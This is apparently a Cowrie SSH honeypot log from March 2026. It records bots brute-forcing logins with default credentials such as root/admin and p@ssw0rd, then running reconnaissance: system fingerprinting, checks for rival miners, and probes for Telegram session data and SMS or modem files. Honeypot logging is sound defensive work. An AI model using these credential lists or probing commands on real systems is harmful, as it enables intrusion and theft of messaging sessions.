{"eventid":"cowrie.session.closed","duration":"301.3","message":"Connection lost after 301.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:54.290518Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":45528,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad09f5a3faed","protocol":"ssh","message":"New connection: 101.44.96.62:45528 (159.203.135.109:22) [session: ad09f5a3faed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:54.385196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:54.390426Z","src_ip":"101.44.96.62","session":"ad09f5a3faed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:54.608702Z","src_ip":"101.44.96.62","session":"ad09f5a3faed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:55.270569Z","src_ip":"101.44.96.62","session":"ad09f5a3faed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:56.492420Z","src_ip":"101.44.96.62","session":"ad09f5a3faed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":47310,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c736a421f11","protocol":"ssh","message":"New connection: 101.44.96.62:47310 (159.203.135.109:22) [session: 2c736a421f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:07.898974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:07.903506Z","src_ip":"101.44.96.62","session":"2c736a421f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:08.121389Z","src_ip":"101.44.96.62","session":"2c736a421f11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic123","message":"login attempt [elastic/elastic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:08.771277Z","src_ip":"101.44.96.62","session":"2c736a421f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:09.990664Z","src_ip":"101.44.96.62","session":"2c736a421f11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.118.57.75","src_port":46336,"dst_ip":"159.203.135.109","dst_port":22,"session":"c92a5e825bd8","protocol":"ssh","message":"New connection: 112.118.57.75:46336 (159.203.135.109:22) [session: c92a5e825bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:19.579335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:19.582804Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:19.805438Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:20.810863Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50980,"dst_ip":"159.203.135.109","dst_port":22,"session":"198a41ea82a4","protocol":"ssh","message":"New connection: 101.44.96.62:50980 (159.203.135.109:22) [session: 198a41ea82a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:21.365914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:21.370300Z","src_ip":"101.44.96.62","session":"198a41ea82a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:21.587707Z","src_ip":"101.44.96.62","session":"198a41ea82a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:22.039622Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:22.239529Z","src_ip":"101.44.96.62","session":"198a41ea82a4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:22.526551Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:22.530005Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:22.533266Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:22.717443Z","src_ip":"101.44.96.62","session":"198a41ea82a4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:22.720566Z","src_ip":"101.44.96.62","session":"198a41ea82a4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:22.761649Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:22.941427Z","src_ip":"101.44.96.62","session":"198a41ea82a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:22.945792Z","src_ip":"101.44.96.62","session":"198a41ea82a4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:23.270620Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:23.273980Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":908,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:23.521927Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:24.106815Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:24.110054Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:24.334668Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:24.818740Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:24.822869Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:25.056366Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:25.578912Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:25.582210Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:25.810922Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:26.291130Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:26.294380Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:26.520750Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:26.986956Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:26.989681Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:27.214341Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:27.739039Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:27.742083Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:28.048002Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:28.549384Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:28.551639Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:28.778066Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38420,"dst_ip":"159.203.135.109","dst_port":22,"session":"faef9d671355","protocol":"ssh","message":"New connection: 101.44.96.62:38420 (159.203.135.109:22) [session: faef9d671355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:34.866399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:34.871501Z","src_ip":"101.44.96.62","session":"faef9d671355","protocol":"ssh"}
